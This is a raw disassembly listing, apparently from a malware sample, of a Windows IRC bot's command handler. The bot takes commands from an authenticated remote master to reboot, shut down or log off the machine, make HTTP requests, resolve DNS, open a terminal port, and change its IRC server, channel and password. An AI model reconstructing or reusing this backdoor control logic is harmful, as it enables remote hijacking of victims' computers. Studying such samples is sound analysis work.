mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea r8, str.PRIVMSG__s_:MGI_Index_Info_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..LGI
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010e1d
cmp esi, 6
jne 0x140010e1d
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140008b90
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..LogOut
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010ef0
mov rdi, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
jne 0x14000f888
mov rbx, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rdx, rbx
call fcn.140013fc4
test eax, eax
jne 0x140010e8b
lea r8, str.PRIVMSG__s_:Master__s_LogOut_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140010eac
lea r8, str.PRIVMSG__s_:Master__s_LogOut_r_n
lea rcx, [rsp + 0x440]
mov r9, rdi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
mov rcx, qword [rsp + r12*8 + 0x38]
lea rdx, [0x140027600]
call fcn.140013fc4
test eax, eax
je 0x140010edd
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
mov dword [0x14002d908], r15d
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Stat
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010f7c
cmp esi, 6
jne 0x140010f7c
mov rbx, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
mov rdx, rbx
call fcn.140013fc4
test eax, eax
jne 0x14000f85d
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
jne 0x140010f5b
mov rcx, qword [0x14002d900]
lea r8d, [rsi - 5]
mov rdx, rdi
call fcn.140006530
lea rbx, [0x14002dfa0]
jmp 0x14000f888
mov rcx, qword [0x14002d900]
mov r8d, 1
mov rdx, rbx
call fcn.140006530
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, [0x140027390]
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140010fb5
cmp esi, 6
jne 0x140010fb5
mov rdx, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
lea eax, [rsi - 5]
jmp 0x140012083
lea rdx, str..RCM
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011013
cmp esi, 6
jne 0x140011013
mov rdx, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
mov rcx, qword [0x14002db40]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, r15d
mov qword [0x14002db40], 0xffffffffffffffff
xchg dword [0x14002df60], eax
mov dword [0x14002e24c], r15d
jmp 0x14000f888
lea rdx, str..Reboot
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x1400110d9
cmp esi, 6
jne 0x1400110d9
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x440]
mov r8d, 0x400
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
lea rcx, [0x1400230d4]
call fcn.140006470
test eax, eax
je 0x140011095
lea r8, str.PRIVMSG__s_:Rebooting_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400110b1
lea r8, str.PRIVMSG__s_:Fail_To_Reboot_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Poweroff
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001119f
cmp esi, 6
jne 0x14001119f
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x440]
mov r8d, 0x400
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
lea rcx, [0x1400230c8]
call fcn.140006470
test eax, eax
je 0x14001115b
lea r8, str.PRIVMSG__s_:Powering_Off_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140011177
lea r8, str.PRIVMSG__s_:Fail_To_Poweroff_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Logoff
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011265
cmp esi, 6
jne 0x140011265
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x440]
mov r8d, 0x400
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
lea rcx, [0x1400230d0]
call fcn.140006470
test eax, eax
je 0x140011221
lea r8, str.PRIVMSG__s_:Logging__Off_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x14001123d
lea r8, str.PRIVMSG__s_:Fail_To_Logoff_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Shutdown
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001132b
cmp esi, 6
jne 0x14001132b
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x440]
mov r8d, 0x400
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
lea rcx, [0x1400230cc]
call fcn.140006470
test eax, eax
je 0x1400112e7
lea r8, str.PRIVMSG__s_:Shuting_Down_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140011303
lea r8, str.PRIVMSG__s_:Fail_To_Shut_Down_The_Box_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Time
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011381
cmp esi, 6
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.140009aa0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Stop
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x1400113d7
cmp esi, 6
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14000a3e0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Master
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x1400114ad
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov dword [rsp + 0x34], r15d
test eax, eax
mov eax, dword [0x14002df60]
xchg dword [rsp + 0x34], eax
cmove rbx, rdi
cmp dword [rsp + 0x34], 1
jne 0x140011441
lea r8, str.PRIVMSG__s_:Master_Status_:_Authorized_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140011485
cmp qword [0x14002db40], 0xffffffffffffffff
je 0x140011469
lea r8, str.PRIVMSG__s_:Master_Status_:_Connected_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140011485
lea r8, str.PRIVMSG__s_:Master_Status_:_Disconnected_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..ViewTimer
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011503
cmp esi, 6
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14000a530
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..SetDNS
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011561
cmp esi, 7
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
xor r9d, r9d
mov rdx, rbx
call fcn.14000d880
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..DNS
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x1400115bc
cmp esi, 7
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14000c040
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Resolve
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001161c
cmp esi, 8
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
mov r9, qword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov rcx, qword [0x14002d900]
test eax, eax
cmove rbx, rdi
mov rdx, rbx
call fcn.14000be50
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Quit
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001166f
cmp esi, 6
jne 0x14000f888
mov rdx, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
mov rcx, qword [0x14002dfe0]
lea edx, [rsi + 0xc]
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.USER32.dll_PostMessageA]
lea eax, [rsi - 5]
jmp 0x140012083
lea rdx, str..http
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011746
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0xed1]
mov r8d, 0x3ff
test eax, eax
mov byte [rsp + 0xed0], r15b
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
mov r9, qword [rsp + 0x70]
lea r8, str.http:_s
lea rcx, [rsp + 0xed0]
mov edx, 0x3ff
call fcn.140013ac4
cmp esi, 7
jne 0x140011710
mov rcx, qword [0x14002d900]
lea r8, [rsp + 0xed0]
xor r9d, r9d
mov rdx, rbx
mov dword [rsp + 0x20], r15d
call fcn.14000bbb0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
cmp esi, 8
jne 0x14000f854
mov r9, qword [rsp + 0x78]
mov rcx, qword [0x14002d900]
lea r8, [rsp + 0xed0]
mov rdx, rbx
mov dword [rsp + 0x20], r15d
call fcn.14000bbb0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Web
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011830
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x12d1]
mov r8d, 0x3ff
test eax, eax
mov byte [rsp + 0x12d0], r15b
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
mov rcx, qword [rsp + 0x78]
mov r9, qword [rsp + 0x70]
mov qword [rsp + 0x20], rcx
lea r8, str._s:_s
lea rcx, [rsp + 0x12d0]
mov edx, 0x3ff
call fcn.140013ac4
cmp esi, 8
jne 0x1400117f4
mov rcx, qword [0x14002d900]
lea r8, [rsp + 0x12d0]
xor r9d, r9d
mov rdx, rbx
mov dword [rsp + 0x20], 1
call fcn.14000bbb0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
cmp esi, 9
jne 0x14000f84b
mov r9, qword [rsp + 0x80]
mov rcx, qword [0x14002d900]
lea r8, [rsp + 0x12d0]
mov rdx, rbx
mov dword [rsp + 0x20], 1
call fcn.14000bbb0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..TerminalPort
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x14001193c
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
cmp esi, 6
jne 0x140011886
mov rcx, qword [0x14002d900]
mov rdx, rbx
call fcn.14000a6d0
lea rbx, [0x14002dfa0]
jmp 0x14000f888
cmp esi, 7
jne 0x14000f830
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call fcn.140001270
test eax, eax
je 0x14000f839
mov rcx, rdi
call fcn.140014018
dec eax
cmp eax, 0xfffe
ja 0x14000f842
lea rcx, [rsp + 0x440]
xor edx, edx
mov r8d, 0x400
call fcn.140013cc0
mov rcx, rdi
call fcn.1400044b0
test eax, eax
je 0x1400118f8
lea r8, str.PRIVMSG__s_:Set_Terminal_Port_Successfully_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140011914
lea r8, str.PRIVMSG__s_:Fail_To_Set_Terminal_Port_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..IRCPort
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011a11
cmp esi, 6
jne 0x140011a11
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
test eax, eax
cmove rbx, rdi
cmp dword [0x14002dfc8], r15d
je 0x1400119d0
cmp dword [0x14002dfcc], r15d
je 0x1400119b5
mov eax, dword [0x14002dfc0]
lea r8, str.PRIVMSG__s_:IRC_Server_Port_:__d_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov dword [rsp + 0x20], eax
call fcn.140013ac4
jmp 0x1400119e9
lea r8, str.PRIVMSG__s_:IRC_Bot_Running_But_Offline_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x1400119e9
lea r8, str.PRIVMSG__s_:IRC_Bot_Stopped_r_n
lea rcx, [rsp + 0x440]
mov edx, 0x3ff
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Die
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011a55
cmp esi, 6
jne 0x14000f888
mov rdx, qword [rsp + 0x40]
lea rcx, [0x14002d90c]
call fcn.140013fc4
test eax, eax
jne 0x14000f888
mov dword [0x14002dfc8], r15d
lea eax, [rsi - 5]
jmp 0x140012083
lea rdx, str..BotVer
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011af9
cmp esi, 6
jne 0x140011af9
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rbx, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x440]
mov r8d, 0x400
test eax, eax
cmove rbx, rdi
xor edx, edx
call fcn.140013cc0
lea rax, str.UbqbutbThdlt2TkfqbEhsQ6_7Ernkc71_5__577_EPniB__Cuhw
lea r8, str.PRIVMSG__s_:_s_r_n
lea rcx, [rsp + 0x440]
mov r9, rbx
mov edx, 0x3ff
mov qword [rsp + 0x20], rax
call fcn.140013ac4
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
lea rdx, str..Set
mov r8d, 4
mov rcx, rbp
call fcn.140013a68
test eax, eax
jne 0x14000f888
cmp esi, 6
jbe 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rsi, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rcx, [rsp + 0x440]
mov r8d, 0x400
test eax, eax
mov ebx, r15d
cmove rsi, rdi
xor edx, edx
call fcn.140013cc0
lea rdx, str..SetIRCServer
mov rcx, rbp
call fcn.140013fc4
mov rdi, qword [rsp + 0x70]
test eax, eax
jne 0x140011bca
lea rcx, str.IRCServer
mov rdx, rdi
call fcn.140008160
test eax, eax
je 0x140011ba4
lea r8, str.PRIVMSG__s_:Set_IRC_Server_To___s__Successfuly_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011bc5
lea r8, str.PRIVMSG__s_:Fail_To_Set_IRC_Server_To___s__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
mov ebx, 1
lea rdx, str..SetIRCPort
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011ca6
mov rcx, rdi
call fcn.140001270
test eax, eax
je 0x140011c80
mov rcx, rdi
call fcn.140014018
test eax, eax
je 0x140011c5d
cmp eax, 0xffff
ja 0x140011c5d
lea rcx, str.IRCServerPort
mov rdx, rdi
call fcn.140008160
test eax, eax
je 0x140011c3a
lea r8, str.PRIVMSG__s_:Set_IRC_Port_To___s__Successfuly_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011ca1
lea r8, str.PRIVMSG__s_:Fail_To_Set_IRC_Port_To___s__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011ca1
lea r8, str.PRIVMSG__s_:IRC_Port___s__Out_Of_Bound_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011ca1
lea r8, str.PRIVMSG__s_:IRC_Port___s__Invalid_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
mov ebx, 1
lea rdx, str..SetChannel
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011d41
cmp byte [rdi], 0x23
jne 0x140011d1b
lea rcx, str.DefaultChannel
mov rdx, rdi
call fcn.140008160
test eax, eax
je 0x140011cf8
lea r8, str.PRIVMSG__s_:Set_IRC_Channel_To___s__Successfuly_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011d3c
lea r8, str.PRIVMSG__s_:Fail_To_Set_IRC_Channel_To___s__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011d3c
lea r8, str.PRIVMSG__s_:__s__Is_An_Invalid_Channel_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
mov ebx, 1
lea rdx, str..SetKey
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011db0
lea rcx, str.ChannelKey
mov rdx, rdi
call fcn.140008160
test eax, eax
je 0x140011d8a
lea r8, str.PRIVMSG__s_:Set_IRC_Channel_Key_To___s__Successfuly_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011dab
lea r8, str.PRIVMSG__s_:Fail_To_Set_IRC_Channel_Key_To___s__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
mov ebx, 1
lea rdx, str..SetNick
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011e1f
lea rcx, str.DefaultUserName
mov rdx, rdi
call fcn.140008160
test eax, eax
je 0x140011df9
lea r8, str.PRIVMSG__s_:Set_Nick_Name_To___s__Successfuly_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011e1a
lea r8, str.PRIVMSG__s_:Fail_To_Nick_Name_To___s__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
mov ebx, 1
lea rdx, str..SetPassword
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011e8e
lea rcx, str.MasterPassword
mov rdx, rdi
call fcn.140008160
test eax, eax
je 0x140011e68
lea r8, str.PRIVMSG__s_:Set_Password_To___s__Successfuly_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011e89
lea r8, str.PRIVMSG__s_:Fail_To_Set_Password_To___s__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
mov ebx, 1
lea rdx, str..SetEnable
mov rcx, rbp
call fcn.140013fc4
test eax, eax
jne 0x140011f42
lea rdx, [0x1400244ac]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x140011ee9
lea rdx, [0x1400244a8]
mov rcx, rdi
call fcn.140013fc4
test eax, eax
je 0x140011ee9
lea r8, str.PRIVMSG__s_:You_Must_Enter__Yes_No__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
call fcn.140013ac4
jmp 0x140011f51
lea rcx, str.IsIRCEnable
mov rdx, rdi
call fcn.140008160
test eax, eax
je 0x140011f1f
lea r8, str.PRIVMSG__s_:Set_IRC_Enable_To___s__Successfuly_r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011f51
lea r8, str.PRIVMSG__s_:Fail_To_Set_IRC_Enable_To___s__r_n
lea rcx, [rsp + 0x440]
mov r9, rsi
mov edx, 0x3ff
mov qword [rsp + 0x20], rdi
call fcn.140013ac4
jmp 0x140011f51
test ebx, ebx
lea rbx, [0x14002dfa0]
je 0x14000f888
mov rcx, qword [0x14002d900]
lea rdx, [rsp + 0x440]
call fcn.1400063e0
test eax, eax
je 0x140012069
lea rbx, [0x14002dfa0]
jmp 0x14000f888
cmp esi, 7
jne 0x14000f888
mov rdi, qword [rsp + 0x60]
mov rcx, qword [0x14002df88]
mov rsi, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140013fc4
lea rdx, str..DEOP
mov rcx, rbp
test eax, eax
cmove rsi, rdi
call fcn.140013fc4
lea rdi, [0x140026c2c]
test eax, eax
lea rax, [0x140026c28]
lea rdx, str..BAN
mov rcx, rbp
cmovne rdi, rax
call fcn.140013fc4
lea rbx, [0x140026c24]
lea rdx, str..UNBAN
test eax, eax
mov rcx, rbp
cmovne rbx, rdi
call fcn.140013fc4
mov r9, qword [0x14002df88]
test eax, eax
mov rax, qword [rsp + 0x70]
lea rcx, [0x140026c20]
cmovne rcx, rbx
lea r8, str.MODE
mov rdx, rsi
mov qword [rsp + 0x28], rcx
mov rcx, qword [0x14002d900]
mov qword [rsp + 0x20], rax
call fcn.140009f10
lea rbx, [0x14002dfa0]
jmp 0x14000f888
cmp dword [0x14002dfe8], r15d
je 0x140012069
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Fail_To_Get_Message__d_n
jmp 0x140012062
cmp dword [0x14002dfe8], r15d
je 0x140012069
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Read_Status_Fail._d_n
mov edx, eax
call fcn.14001347c
mov rcx, qword [0x14002d900]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
mov qword [0x14002d900], 0xffffffffffffffff
mov rbp, qword [rsp + 0x5b10]
mov rcx, qword [rsp + 0x5ad0]
xor rcx, rsp
call fcn.1400135f0
lea r11, [rsp + 0x5ae0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret